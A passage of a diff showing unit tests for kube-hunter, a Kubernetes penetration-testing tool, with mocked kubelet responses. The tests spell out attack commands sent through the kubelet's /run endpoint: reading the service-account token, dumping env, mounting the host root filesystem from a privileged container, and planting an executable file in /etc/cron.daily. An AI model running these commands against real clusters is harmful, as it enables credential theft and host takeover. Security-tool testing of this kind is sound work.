return_value = ProveAnonymousAuth.has_no_error_nor_exception(mock_result)
|
||||
|
||||
assert return_value is True
|
||||
|
||||
|
||||
def test_has_no_error_nor_exception_result_with_exception_and_without_error():
|
||||
mock_result = "Exception: Mock."
|
||||
|
||||
return_value = ProveAnonymousAuth.has_no_error_nor_exception(mock_result)
|
||||
|
||||
assert return_value is False
|
||||
|
||||
|
||||
def test_has_no_error_nor_exception_result_without_exception_and_with_error():
|
||||
mock_result = "Mock exited with error."
|
||||
|
||||
return_value = ProveAnonymousAuth.has_no_error_nor_exception(mock_result)
|
||||
|
||||
assert return_value is False
|
||||
|
||||
|
||||
def test_has_no_error_nor_exception_result_with_exception_and_with_error():
|
||||
mock_result = "Exception: Mock. Mock exited with error."
|
||||
|
||||
return_value = ProveAnonymousAuth.has_no_error_nor_exception(mock_result)
|
||||
|
||||
assert return_value is False
|
||||
|
||||
|
||||
def proveanonymousauth_success(anonymous_auth_enabled_event, security_context_definition_to_test):
|
||||
global counter
|
||||
counter = 0
|
||||
|
||||
with requests_mock.Mocker(session=anonymous_auth_enabled_event.session) as session_mock:
|
||||
url = "https://" + anonymous_auth_enabled_event.host + ":10250/"
|
||||
listing_pods_url = url + "pods"
|
||||
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
|
||||
|
||||
session_mock.get(
|
||||
listing_pods_url,
|
||||
text=pod_list_with_privileged_container.replace(
|
||||
"{security_context_definition_to_test}", security_context_definition_to_test
|
||||
),
|
||||
)
|
||||
session_mock.post(
|
||||
run_url + urllib.parse.quote("cat /var/run/secrets/kubernetes.io/serviceaccount/token", safe=""),
|
||||
text=service_account_token,
|
||||
)
|
||||
session_mock.post(run_url + "env", text=env)
|
||||
|
||||
class_being_tested = ProveAnonymousAuth(anonymous_auth_enabled_event)
|
||||
class_being_tested.execute()
|
||||
|
||||
assert "The following containers have been successfully breached." in class_being_tested.event.evidence
|
||||
|
||||
assert counter == 1
|
||||
|
||||
|
||||
def test_proveanonymousauth_success_with_privileged_container_via_privileged_setting():
|
||||
proveanonymousauth_success(create_test_event_type_one(), '"privileged": true')
|
||||
|
||||
|
||||
def test_proveanonymousauth_success_with_privileged_container_via_capabilities():
|
||||
proveanonymousauth_success(create_test_event_type_one(), '"capabilities": { "add": ["SYS_ADMIN"] }')
|
||||
|
||||
|
||||
def test_proveanonymousauth_connectivity_issues():
|
||||
class_being_tested = ProveAnonymousAuth(create_test_event_type_one())
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
|
||||
url = "https://" + class_being_tested.event.host + ":10250/"
|
||||
listing_pods_url = url + "pods"
|
||||
|
||||
session_mock.get(listing_pods_url, exc=requests.exceptions.ConnectionError)
|
||||
|
||||
class_being_tested.execute()
|
||||
|
||||
assert class_being_tested.event.evidence == ""
|
||||
|
||||
|
||||
@handler.subscribe(ExposedExistingPrivilegedContainersViaSecureKubeletPort)
|
||||
class ExposedPrivilegedContainersViaAnonymousAuthEnabledInSecureKubeletPortEventCounter:
|
||||
def __init__(self, event):
|
||||
global counter
|
||||
counter += 1
|
||||
|
||||
|
||||
def test_check_file_exists_existing_file():
|
||||
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
|
||||
url = "https://localhost:10250/"
|
||||
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
|
||||
session_mock.post(run_url + urllib.parse.quote("ls mock.txt", safe=""), text="mock.txt")
|
||||
|
||||
return_value = class_being_tested.check_file_exists(
|
||||
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu", "mock.txt"
|
||||
)
|
||||
|
||||
assert return_value is True
|
||||
|
||||
|
||||
def test_check_file_exists_non_existent_file():
|
||||
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
|
||||
url = "https://localhost:10250/"
|
||||
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
|
||||
session_mock.post(
|
||||
run_url + urllib.parse.quote("ls nonexistentmock.txt", safe=""),
|
||||
text="ls: nonexistentmock.txt: No such file or directory",
|
||||
)
|
||||
|
||||
return_value = class_being_tested.check_file_exists(
|
||||
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
|
||||
"nonexistentmock.txt",
|
||||
)
|
||||
|
||||
assert return_value is False
|
||||
|
||||
|
||||
rm_command_removed_successfully_callback_counter = 0
|
||||
|
||||
|
||||
def rm_command_removed_successfully_callback(request, context):
|
||||
global rm_command_removed_successfully_callback_counter
|
||||
|
||||
if rm_command_removed_successfully_callback_counter == 0:
|
||||
rm_command_removed_successfully_callback_counter += 1
|
||||
return "mock.txt"
|
||||
else:
|
||||
return "ls: mock.txt: No such file or directory"
|
||||
|
||||
|
||||
def test_rm_command_removed_successfully():
|
||||
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
|
||||
url = "https://localhost:10250/"
|
||||
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
|
||||
session_mock.post(
|
||||
run_url + urllib.parse.quote("ls mock.txt", safe=""), text=rm_command_removed_successfully_callback
|
||||
)
|
||||
session_mock.post(run_url + urllib.parse.quote("rm -f mock.txt", safe=""), text="")
|
||||
|
||||
return_value = class_being_tested.rm_command(
|
||||
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
|
||||
"mock.txt",
|
||||
number_of_rm_attempts=1,
|
||||
seconds_to_wait_for_os_command=None,
|
||||
)
|
||||
|
||||
assert return_value is True
|
||||
|
||||
|
||||
def test_rm_command_removed_failed():
|
||||
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
|
||||
url = "https://localhost:10250/"
|
||||
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
|
||||
session_mock.post(run_url + urllib.parse.quote("ls mock.txt", safe=""), text="mock.txt")
|
||||
session_mock.post(run_url + urllib.parse.quote("rm -f mock.txt", safe=""), text="Permission denied")
|
||||
|
||||
return_value = class_being_tested.rm_command(
|
||||
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
|
||||
"mock.txt",
|
||||
number_of_rm_attempts=1,
|
||||
seconds_to_wait_for_os_command=None,
|
||||
)
|
||||
|
||||
assert return_value is False
|
||||
|
||||
|
||||
def test_attack_exposed_existing_privileged_container_success():
|
||||
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
|
||||
url = "https://localhost:10250/"
|
||||
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
|
||||
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
|
||||
file_name = "kube-hunter-mock" + str(uuid.uuid1())
|
||||
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
|
||||
|
||||
session_mock.post(run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), text="")
|
||||
session_mock.post(
|
||||
run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""), text=""
|
||||
)
|
||||
|
||||
return_value = class_being_tested.attack_exposed_existing_privileged_container(
|
||||
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
|
||||
directory_created,
|
||||
number_of_rm_attempts,
|
||||
None,
|
||||
file_name,
|
||||
)
|
||||
|
||||
assert return_value["result"] is True
|
||||
|
||||
|
||||
def test_attack_exposed_existing_privileged_container_failure_when_touch():
|
||||
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
|
||||
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
|
||||
file_name = "kube-hunter-mock" + str(uuid.uuid1())
|
||||
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
|
||||
|
||||
url = "https://localhost:10250/"
|
||||
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
|
||||
session_mock.post(
|
||||
run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""),
|
||||
text="Operation not permitted",
|
||||
)
|
||||
|
||||
return_value = class_being_tested.attack_exposed_existing_privileged_container(
|
||||
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
|
||||
directory_created,
|
||||
None,
|
||||
file_name,
|
||||
)
|
||||
|
||||
assert return_value["result"] is False
|
||||
|
||||
|
||||
def test_attack_exposed_existing_privileged_container_failure_when_chmod():
|
||||
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
|
||||
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
|
||||
file_name = "kube-hunter-mock" + str(uuid.uuid1())
|
||||
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
|
||||
|
||||
url = "https://localhost:10250/"
|
||||
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
|
||||
session_mock.post(run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), text="")
|
||||
session_mock.post(
|
||||
run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""),
|
||||
text="Permission denied",
|
||||
)
|
||||
|
||||
return_value = class_being_tested.attack_exposed_existing_privileged_container(
|
||||
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
|
||||
directory_created,
|
||||
None,
|
||||
file_name,
|
||||
)
|
||||
|
||||
assert return_value["result"] is False
|
||||
|
||||
|
||||
def test_check_directory_exists_existing_directory():
|
||||
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
|
||||
url = "https://localhost:10250/"
|
||||
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
|
||||
session_mock.post(run_url + urllib.parse.quote("ls Mock", safe=""), text="mock.txt")
|
||||
|
||||
return_value = class_being_tested.check_directory_exists(
|
||||
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu", "Mock"
|
||||
)
|
||||
|
||||
assert return_value is True
|
||||
|
||||
|
||||
def test_check_directory_exists_non_existent_directory():
|
||||
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
|
||||
url = "https://localhost:10250/"
|
||||
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
|
||||
session_mock.post(run_url + urllib.parse.quote("ls Mock", safe=""), text="ls: Mock: No such file or directory")
|
||||
|
||||
return_value = class_being_tested.check_directory_exists(
|
||||
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu", "Mock"
|
||||
)
|
||||
|
||||
assert return_value is False
|
||||
|
||||
|
||||
rmdir_command_removed_successfully_callback_counter = 0
|
||||
|
||||
|
||||
def rmdir_command_removed_successfully_callback(request, context):
|
||||
global rmdir_command_removed_successfully_callback_counter
|
||||
|
||||
if rmdir_command_removed_successfully_callback_counter == 0:
|
||||
rmdir_command_removed_successfully_callback_counter += 1
|
||||
return "mock.txt"
|
||||
else:
|
||||
return "ls: Mock: No such file or directory"
|
||||
|
||||
|
||||
def test_rmdir_command_removed_successfully():
|
||||
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
|
||||
url = "https://localhost:10250/"
|
||||
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
|
||||
session_mock.post(
|
||||
run_url + urllib.parse.quote("ls Mock", safe=""), text=rmdir_command_removed_successfully_callback
|
||||
)
|
||||
session_mock.post(run_url + urllib.parse.quote("rmdir Mock", safe=""), text="")
|
||||
|
||||
return_value = class_being_tested.rmdir_command(
|
||||
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
|
||||
"Mock",
|
||||
number_of_rmdir_attempts=1,
|
||||
seconds_to_wait_for_os_command=None,
|
||||
)
|
||||
|
||||
assert return_value is True
|
||||
|
||||
|
||||
def test_rmdir_command_removed_failed():
|
||||
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
|
||||
url = "https://localhost:10250/"
|
||||
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
|
||||
session_mock.post(run_url + urllib.parse.quote("ls Mock", safe=""), text="mock.txt")
|
||||
session_mock.post(run_url + urllib.parse.quote("rmdir Mock", safe=""), text="Permission denied")
|
||||
|
||||
return_value = class_being_tested.rmdir_command(
|
||||
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
|
||||
"Mock",
|
||||
number_of_rmdir_attempts=1,
|
||||
seconds_to_wait_for_os_command=None,
|
||||
)
|
||||
|
||||
assert return_value is False
|
||||
|
||||
|
||||
def test_get_root_values_success():
|
||||
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
|
||||
root_value, root_value_type = class_being_tested.get_root_values(cat_proc_cmdline)
|
||||
|
||||
assert root_value == "Mock" and root_value_type == "LABEL="
|
||||
|
||||
|
||||
def test_get_root_values_failure():
|
||||
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
|
||||
root_value, root_value_type = class_being_tested.get_root_values("")
|
||||
|
||||
assert root_value is None and root_value_type is None
|
||||
|
||||
|
||||
def test_process_exposed_existing_privileged_container_success():
|
||||
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
|
||||
url = "https://localhost:10250/"
|
||||
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
|
||||
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
|
||||
|
||||
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
|
||||
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
|
||||
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
|
||||
session_mock.post(
|
||||
run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text=""
|
||||
)
|
||||
session_mock.post(
|
||||
run_url + urllib.parse.quote(f"cat {directory_created}/etc/hostname", safe=""), text="mockhostname"
|
||||
)
|
||||
|
||||
return_value = class_being_tested.process_exposed_existing_privileged_container(
|
||||
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
|
||||
number_of_umount_attempts,
|
||||
number_of_rmdir_attempts,
|
||||
None,
|
||||
directory_created,
|
||||
)
|
||||
|
||||
assert return_value["result"] is True
|
||||
|
||||
|
||||
def test_process_exposed_existing_privileged_container_failure_when_cat_cmdline():
|
||||
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
|
||||
url = "https://localhost:10250/"
|
||||
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
|
||||
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
|
||||
|
||||
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text="Permission denied")
|
||||
|
||||
return_value = class_being_tested.process_exposed_existing_privileged_container(
|
||||
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
|
||||
number_of_umount_attempts,
|
||||
number_of_rmdir_attempts,
|
||||
None,
|
||||
directory_created,
|
||||
)
|
||||
|
||||
assert return_value["result"] is False
|
||||
|
||||
|
||||
def test_process_exposed_existing_privileged_container_failure_when_findfs():
|
||||
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
|
||||
url = "https://localhost:10250/"
|
||||
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
|
||||
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
|
||||
|
||||
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
|
||||
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="Permission denied")
|
||||
|
||||
return_value = class_being_tested.process_exposed_existing_privileged_container(
|
||||
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
|
||||
number_of_umount_attempts,
|
||||
number_of_rmdir_attempts,
|
||||
None,
|
||||
directory_created,
|
||||
)
|
||||
|
||||
assert return_value["result"] is False
|
||||
|
||||
|
||||
def test_process_exposed_existing_privileged_container_failure_when_mkdir():
|
||||
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
|
||||
url = "https://localhost:10250/"
|
||||
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
|
||||
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
|
||||
|
||||
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
|
||||
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
|
||||
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="Permission denied")
|
||||
|
||||
return_value = class_being_tested.process_exposed_existing_privileged_container(
|
||||
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
|
||||
number_of_umount_attempts,
|
||||
number_of_rmdir_attempts,
|
||||
None,
|
||||
directory_created,
|
||||
)
|
||||
|
||||
assert return_value["result"] is False
|
||||
|
||||
|
||||
def test_process_exposed_existing_privileged_container_failure_when_mount():
|
||||
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
|
||||
url = "https://localhost:10250/"
|
||||
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
|
||||
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
|
||||
|
||||
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
|
||||
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
|
||||
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
|
||||
session_mock.post(
|
||||
run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""),
|
||||
text="Permission denied",
|
||||
)
|
||||
|
||||
return_value = class_being_tested.process_exposed_existing_privileged_container(
|
||||
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
|
||||
number_of_umount_attempts,
|
||||
number_of_rmdir_attempts,
|
||||
None,
|
||||
directory_created,
|
||||
)
|
||||
|
||||
assert return_value["result"] is False
|
||||
|
||||
|
||||
def test_process_exposed_existing_privileged_container_failure_when_cat_hostname():
|
||||
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
|
||||
url = "https://localhost:10250/"
|
||||
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
|
||||
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
|
||||
|
||||
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
|
||||
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
|
||||
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
|
||||
session_mock.post(
|
||||
run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text=""
|
||||
)
|
||||
session_mock.post(
|
||||
run_url + urllib.parse.quote(f"cat {directory_created}/etc/hostname", safe=""),
|
||||
text="Permission denied",
|
||||
)
|
||||
|
||||
return_value = class_being_tested.process_exposed_existing_privileged_container(
|
||||
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
|
||||
number_of_umount_attempts,
|
||||
number_of_rmdir_attempts,
|
||||
None,
|
||||
directory_created,
|
||||
)
|
||||
|
||||
assert return_value["result"] is False
|
||||
|
||||
|
||||
def test_maliciousintentviasecurekubeletport_success():
|
||||
class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
|
||||
|
||||
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
|
||||
url = "https://localhost:10250/"
|
||||
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
|
||||
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
|
||||
file_name = "kube-hunter-mock" + str(uuid.uuid1())
|
||||
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
|
||||
|
||||
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
|
||||
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
|
||||
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
|
||||
session_mock.post(
|
||||
run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text=""
|
||||
)
|
||||
session_mock.post(
|
||||
run_url + urllib.parse.quote(f"cat {directory_created}/etc/hostname", safe=""), text="mockhostname"
|
||||
)
|
||||
session_mock.post(run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), text="")
|
||||
session_mock.post(
|
||||
run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""), text=""
|
||||
)
|
||||
|
||||
class_being_tested.execute(directory_created, file_name)
|
||||
|
||||
message = "The following exposed existing privileged containers have been successfully"
|
||||
message += " abused by starting/modifying a process in the host."
|
||||
|
||||
assert message in class_being_tested.event.evidence
|
||||
13
tests/plugins/test_hooks.py
Normal file
13
tests/plugins/test_hooks.py
Normal file
@@ -0,0 +1,13 @@
|
||||
from kube_hunter.plugins import hookimpl
|
||||
|
||||
return_string = "return_string"
|
||||
|
||||
|
||||
@hookimpl
|
||||
def parser_add_arguments(parser):
|
||||
return return_string
|
||||
|
||||
|
||||
@hookimpl
|
||||
def load_plugin(args):
|
||||
return return_string
|
||||
17
tests/plugins/test_plugins_hooks.py
Normal file
17
tests/plugins/test_plugins_hooks.py
Normal file
@@ -0,0 +1,17 @@
|
||||
from argparse import ArgumentParser
|
||||
from tests.plugins import test_hooks
|
||||
from kube_hunter.plugins import initialize_plugin_manager
|
||||
|
||||
|
||||
def test_all_plugin_hooks():
|
||||
pm = initialize_plugin_manager()
|
||||
pm.register(test_hooks)
|
||||
|
||||
# Testing parser_add_arguments
|
||||
parser = ArgumentParser("Test Argument Parser")
|
||||
results = pm.hook.parser_add_arguments(parser=parser)
|
||||
assert test_hooks.return_string in results
|
||||
|
||||
# Testing load_plugin
|
||||
results = pm.hook.load_plugin(args=[])
|
||||
assert test_hooks.return_string in results
|
||||
Reference in New Issue
Block a user